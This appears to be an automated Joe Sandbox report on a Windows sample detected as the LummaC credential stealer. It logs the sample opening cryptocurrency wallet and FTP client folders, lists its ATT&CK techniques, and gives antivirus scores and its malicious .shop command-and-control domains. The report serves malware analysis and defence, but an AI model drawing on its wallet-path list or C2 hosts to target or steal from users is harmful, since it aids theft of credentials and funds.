Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m4lz5aeAiN.exe PID: 1808, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: m4lz5aeAiN.exe PID: 1808, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	2 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	22 Software Packing	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
m4lz5aeAiN.exe	47%	ReversingLabs	Win32.Trojan.CrypterX
m4lz5aeAiN.exe	38%	Virustotal		Browse
m4lz5aeAiN.exe	100%	Avira	HEUR/AGEN.1306978
m4lz5aeAiN.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cloudewahsj.shop/apiy	100%	Avira URL Cloud	malware
https://cloudewahsj.shop/-	100%	Avira URL Cloud	malware
https://cloudewahsj.shop/HR	100%	Avira URL Cloud	malware
https://cloudewahsj.shop/api	100%	Avira URL Cloud	malware
https://cloudewahsj.shop/	100%	Avira URL Cloud	malware
http://crl.micropL	0%	Avira URL Cloud	safe
https://cloudewahsj.shop/apil	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cloudewahsj.shop	104.21.80.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	false		high
wholersorie.shop	false		high
https://cloudewahsj.shop/api	true	Avira URL Cloud: malware	unknown
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	m4lz5aeAiN.exe, 00000000.00000003.2268496914.0000000002E50000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.4.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	m4lz5aeAiN.exe, 00000000.00000003.2268496914.0000000002E50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cloudewahsj.shop/apiy	m4lz5aeAiN.exe, 00000000.00000002.2334614463.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	m4lz5aeAiN.exe, 00000000.00000003.2269688567.000000000315B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cloudewahsj.shop/-	m4lz5aeAiN.exe, 00000000.00000003.2281787442.0000000002EC9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cloudewahsj.shop/HR	m4lz5aeAiN.exe, 00000000.00000003.2240350139.0000000000802000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cloudewahsj.shop/apil	m4lz5aeAiN.exe, 00000000.00000003.2240350139.0000000000802000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.micropL	m4lz5aeAiN.exe, 00000000.00000003.2240350139.0000000000802000.00000004.00000020.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	m4lz5aeAiN.exe, 00000000.00000003.2268496914.0000000002E50000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	m4lz5aeAiN.exe, 00000000.00000003.2268496914.0000000002E50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	m4lz5aeAiN.exe, 00000000.00000003.2268496914.0000000002E50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cloudewahsj.shop/	m4lz5aeAiN.exe, 00000000.00000003.2240350139.0000000000802000.00000004.00000020.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2281787442.0000000002EC9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	m4lz5aeAiN.exe, 00000000.00000003.2269688567.000000000315B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	m4lz5aeAiN.exe, 00000000.00000003.2241497380.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2241405830.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	m4lz5aeAiN.exe, 00000000.00000003.2269583751.0000000002E4C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.80.1	cloudewahsj.shop	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584184
Start date and time:	2025-01-04 15:32:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	m4lz5aeAiN.exe renamed because original name is a hash value
Original Sample Name:	af551d70d63b4251edcaac0cdcf9485e.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 21 Number of non-executed functions: 208
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94, 2.23.227.208, 13.107.246.45, 40.126.32.133, 20.109.210.53, 20.31.169.57, 2.23.227.215, 150.171.28.10, 184.28.90.27, 20.223.36.55
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:33:10	API Interceptor	5x Sleep call for process: m4lz5aeAiN.exe modified
09:33:20	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
